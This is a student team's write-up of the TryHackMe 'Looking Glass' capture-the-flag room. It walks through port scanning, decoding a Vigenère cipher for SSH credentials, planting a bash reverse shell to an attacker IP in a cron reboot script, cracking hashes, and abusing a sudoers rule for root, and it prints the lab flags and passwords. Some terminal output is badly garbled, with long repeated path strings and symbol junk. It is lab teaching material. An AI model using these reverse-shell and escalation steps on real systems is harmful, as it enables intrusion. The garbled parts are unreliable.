# PSP0201 PENTEST 1 ROOM: LOCKING GLASS WRITE-UP

**GROUP NAME: PELITA** 

ID	Name	Role
1211102057	Muhammad Syahir Nazreen Bin Abdul	Leader
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## **LOOKING GLASS**

#### **Step: Recon and Enumeration**

Members Involved: Imran Tools used: Kali, Nmap

**Thought Process and Methodology and Attempts:** 

Used nmap to scan the ports.

- -sC to run default scripts
- -sV to enumerate applications versions

Found more then 1000 ports open.

```
File Actions Edit View Help

(1211101935@kali)-[~]

$ cd /home/1211101935/Desktop/thm/lookingglass/

(1211101935@kali)-[~/Desktop/thm/lookingglass/

(1211101935@kali)-[~/Desktop/thm/lookingglass]

$ mmap -sC -sV 10.10.53.218

Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 00:35 EDT

Nmap scan report for 10.10.53.218

Host is up (0.22s latency).

Not shown: 916 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 3f:15:19:70:35:fd:dd:0d:07:a0:50:a3:7d:fa:10:a0 (RSA)

| 256 a8:67:5c:52:77:02:41:d7:90:e7:ed:32:d2:01:d9:65 (ECDSA)

| 256 26:92:59:2d:5e:25:99:89:09:f5:e5:e0:33:81:77:5a (ED25519)
```

While, trying to connect with the SSH servers, some port responded **Higher**, example port 10000. Meanwhile, some port responded **Lower**, example 9500. Tested all port with the clue given (higher and lower), by cutting it down to half based on the clue, we can get the correct port.

The correct port is 9805( it will be different for everyone). After getting it, some kind of poem is displayed. By the look of it it could be a hash.

```
1211101935@kali: ~/Desktop/thm/lookinggla
File Actions Edit View Help
Connection to 10.10.53.218 closed.
  -(1211101935@kali)-[~/Desktop/thm/lookingglass]
$ ssh -oHostKeyAlgorithms=+ssh-rsa -p 9805 test@10.10.53.218
The authenticity of host '[10.10.53.218]:9805 ([10.10.53.218]:9805)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKoZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:4: [hashed name]
~/.ssh/known_hosts:5: [hashed name]
    ~/.ssh/known_hosts:6: [hashed name]
~/.ssh/known_hosts:7: [hashed name]
    ~/.ssh/known_hosts:8: [hashed name]
    ~/.ssh/known_hosts:9: [hashed name]
~/.ssh/known_hosts:10: [hashed name]
~/.ssh/known_hosts:11: [hashed name]
    (3 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.53.218]:9805' (RSA) to the list of known hosts.
You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.
'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmjl!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl jintmofh Iaohxtachxta!'
Oi tzdr hjw oqzehp jpvvd tc oaoh:
Eqvv amdx ale xpuxpqx hwt oi jhbkhe--
Hv rfwmgl wl fp moi Tfbaun xkgm,
Puh jmvsd lloimi bp bwvyxaa.
Eno pz io yyhqho xyhbkhe wl sushf,
Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,
```


At the bottom of the poem it ask to enter a secret? The secret might be inside the hash. Lets decode it.

```
'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd
Enter Secret:
```

Decoding the hash on website <a href="https://guballa.de/vigenere-solver/">https://guballa.de/vigenere-solver/</a>. Setting the key length 15-20.



The result from decoding. It shows the secret.



After putting in the secret code in the displayed poem, we get the user and the password. (NOTE: the password is different for everyone or may change when the service is diconnected or closed.)

```
'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd
Enter Secret:
jabberwock:GardensMostlyExplainingHaddocks
Connection to 10.10.53.218 closed.
```

### **Step: Initial Foothold**

Members Involved: Farris Tools used: Kali, netcat

**Thought Process and Methodology and Attempts:** 

Logged in as jabberwock using the given password. Confirmed it with command 'whoami'

```
(1211101935@ kali)-[~]
$ ssh -oHostKeyAlgorithms=+ssh-rsa jabberwock@10.10.53.218
jabberwock@10.10.53.218's password:
Last login: Fri Jul 3 03:05:33 2020 from 192.168.170.1
jabberwock@looking-glass:~$ whoami
jabberwock@looking-glass:~$ ^C
jabberwock@looking-glass:~$
```

Listed files contained inside. Found 2 txt files and 1 reverse shell file.

```
jabberwock@looking-glass:~$ ls
poem.txt twasBrillig.sh user.txt
jabberwock@looking-glass:~$
```

Read both txt files. The User.txt shows the flag. using the command 'cat user.txt | rev' it helped reverse the flag.

```
jabberwock@looking-glass:~$ cat user.txt
}32a911966cab2d643f5d57d9e0173d56{mht
jabberwock@looking-glass:~$ cat user.txt | rev
thm{65d3710e9d75d5f346d2bac669119a23}
jabberwock@looking-glass:~$
```

Took a look at the passwd file, it shows there are few more users. (refer to the last 5 lines from the screenshot)

```
jabberwock@looking-glass:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologinsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
tryhackme:x:1000:1000:TryHackMe:/home/tryhackme:/bin/bash
jabberwock:x:1001:1001:,,,:/home/jabberwock:/bin/bash
tweedledum:x:1002:1002:,,,:/home/tweedledum:/bin/bash
tweedledee:x:1003:1003:,,,:/home/tweedledee:/bin/bash
humptydumpty:x:1004:1004:,,,:/home/humptydumpty:/bin/bashalice:x:1005:1005:Alice,,,:/home/alice:/bin/bash
```

We can see that from sudo -1, we can reboot.

Also by running crontab, we found out by rebooting the bash script twasBrillig.sh will run.

So from this we can get into the user by putting our reverse shell into the script file.

```
jabberwock@looking=glass:-$ sudo -l
Matching Defaults entries for jabberwock on looking-glass:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:/sbin\:
```

### **Step: Horizontal Privilege Escalation**

**Members Involved: Firzan** 

Tools used: Kali, netcat, linpeas.sh, python http.server module, curl

**Thought Process and Methodology and Attempts:** 

By using python http.server module we can transfer the tool lineas.sh to the victim machine

- the http.server is set up on host machine
- by using curl command we can download the file from the host machine

```
(1211103220⊕ kali)-[~]

$ sudo python -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

10.10.252.217 - - [26/Jul/2022 03:20:09] code 404, message File not found

10.10.252.217 - - [26/Jul/2022 03:20:09] "GET /linpeas.sh HTTP/1.1" 404 -

10.10.252.217 - - [26/Jul/2022 03:23:25] "GET /linpeas.sh HTTP/1.1" 200 -
```



- By running the lineas.sh script we can get the ways and information on how to get into root.
- From this run we can see that there is a bash script that is set to run when the system reboot.
- This bash script can be used as a reverse shell to get into the user tweeledum.

```
1 root root 102 Nov 16 2017 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Feb 3 2020 .
drwxr-xr-x 91 root root 4096 Jul 26 06:08 ..
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder
/etc/cron.weekly:
total 20
drwxr-xr-x 2 root root 4096 Feb 3 2020 .
drwxr-xr-x 91 root root 4096 Jul 26 06:08 ..
-rw-r--r-- 1 root root 102 Nov 16 2017 .placeholder

-rwxr-xr-x 1 root root 723 Apr 7 2018 man-db


-rwxr-xr-x 1 root root 211 Nov 12 2018 update-notifier-common
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin
@reboot tweedledum bash /
                                                       d /twasBrillig.sh
Systemd PATH
https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/sbin:/shap/bin
Analyzing .service files https://book.hacktricks.xyz/linux-unix/privilege-escalation#services
You can't write on systemd PATH
                System timers
   https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers
```

- By modifying the **twasBrillig.sh** file with **reverse shell script** generated by using <a href="https://www.revshells.com/">https://www.revshells.com/</a> we can start the **netcat listener** in our host machine.
- By **rebooting** our machine we can run the bash script that we have modified and run the reverse shell script and gain access to the user **tweeledum**.


```
jabberwock@looking-glass:-$ echo "bash -i >6 /dev/tcp/10.8.93.181/443 0>61" > twasBrillig.sh
echo "bash -i >6 /dev/tcp/10.8.93.181/443 0>61" > twasBrillig.sh
jabberwock@looking-glass:-$ (\frac{1}{10}[A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\text{C}}](A^{\tex
```


```
(1211103220 kali)-[~]
$ sudo nc -lvnp 443
[sudo] password for 1211103220:
listening on [any] 443 ...
connect to [10.8.93.181] from (UNKNOWN) [10.10.252.217] 38562
bash: cannot set terminal process group (884): Inappropriate ioctl for device
bash: no job control in this shell
tweedledum@looking-glass:~$ whoami
whoami
tweedledum
tweedledum
tweedledum@looking-glass:~$
```

- From the user tweeledum we can find there is a file call humptydumpty.txt containing number of hashes. We can crack this by using crackstation.net.
- We can recognize that the last line cannot be cracked as this line is not a hash.
  - We can decode this from hex using the Cyberchef tool.



Free Password Hash Cracker





From this we can get the password is zyxwvutsrqponmlk

Lastly, we can log into the user **humptydumpty** with the password that we have cracked.

```
python3 -c "import pty;pty.spawn('/bin/bash')"
tweedledum@looking-glass:~$ su humptydumpty
su humptydumpty
Password: zyxwvutsrqponmlk
humptydumpty@looking-glass:/home/tweedledum$ cd
cd
humptydumpty@looking-glass:~$ id
id
uid=1004(humptydumpty) gid=1004(humptydumpty) groups=1004(humptydumpty)
humptydumpty@looking-glass:~$
```

#### **Step: Root Privilege Escalation**

Members Involved: Syahir Tools used: Kali, netcat

Thought Process and Methodology and Attempts:

To simplify, what I did for this part is that from user humptydumpty I want to change to user alice. As I have found a useful file in alice. It took me multiple tries to enter as user alice as I got a lot of denied permission, so i run the 'cat .bashrc' command

```
humptydumpty@looking-glass:~$ cd ..

cd ..
humptydumpty@looking-glass:/home$ ls
ls
alice humptydumpty jabberwock tryhackme tweedledee tweedledum
humptydumpty@looking-glass:/home$ cd alice
cd alice
humptydumpty@looking-glass:/home/alice$ ls
ls: cannot open directory '.': Permission denied
humptydumpty@looking-glass:/home/alice$ ^[[A
ls
ls: cannot open directory '.': Permission denied
humptydumpty@looking-glass:/home/alice$ cat .bashrc
cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
```

At this point I have already entered as user alice and also have acquired the ECDSA key and permanently added a port. We can see that there is an id\_rsa file in the expected .ssh folder, but I also notice that it is owned by our current logged on user humptydumpty. So we can read the contents

```
humptydumpty@looking-glass:/home/tweedledum$ ssh alice@127.0.0.1 -i /home/alice/.ssh/id_rsa <dum$ ssh alice@127.0.0.1 -i /home/alice/.ssh/id_rsa
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:kaciOm3nKZjBx4DS3cgsQa0DIVv86s9JtZ0m83r1Pu4.
Are you sure you want to continue connecting (yes/no)? yes yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Last login: Fri Jul 3 02:42:13 2020 from 192.168.170.1
alice@looking-glass:~$
```

```
alice@looking-glass:~$ cat /etc/sudoers
cat /etc/sudoers
cat:/etc/sudoers: Permission denied
alice@looking-glass:~$ cat /etc/sudoers.d/alice
cat /etc/sudoers.d/alice
alice ssalg-gnikool = (root) NOPASSWD: /bin/bash
alice@looking-glass:~$ sudo -h ssalg-gnikool /bin/bash
sudo -h ssalg-gnikool /bin/bash
sudo: unable to resolve host ssalg-gnikool
root@looking-glass:~#
```

For this last part I'm trying to gain access to the root file and prom the 'ls' command and finally I found the flag in the root.txt file by using the 'cat' command.

```
root@looking-glass:~# ls
root@looking-glass:~# cd ..
root@looking-glass:/home# ls
alice humptydumpty jabberwock tryhackme tweedledee tweedledum root@looking-glass:/home# cd root  
cd root
bash: cd: root: No such file or directory
root@looking-glass:/home# cd
root@looking-glass:~# cd /root
cd /root
root@looking-glass:/root# ls
passwords passwords.sh root.txt the_end.txt
root@looking-glass:/root# cat root.txt
cat root.txt
}f3dae6dec817ad10b750d79f6b7332cb{mht
root@looking-glass:/root# cat root.txt | rev
cat root.txt | rev
thm{bc2337b6f97d057b01da718ced6ead3f}
root@looking-glass:/root#
```

## Contribution

ID	NAME	CONTRIBUTION	SIGNATURE
1211101935	Mohamed Imran Bin Mohamed Yunus	Did the Recon and Enumeration process and writing. Screenshot provider.	IMRAN
1211102060	Farris Aiman Bin Mohd Harris	Did the Initial Foothold process and writing. Did the video editing.	FARRIS
1211103220	Muhammad Firzan Ruzain Bin Firdus	Did the Horizontal Privilege Escalation process and writing. Screenshot provider.	FIRZAN
1211102057	Muhammad Syahir Nazreen Bin Abdul Hamid	Did the Root Privilege Escalation process and writing. Food supplier.	SYAHIR

VIDEO LINK: https://youtu.be/HIT0EfEbCrE/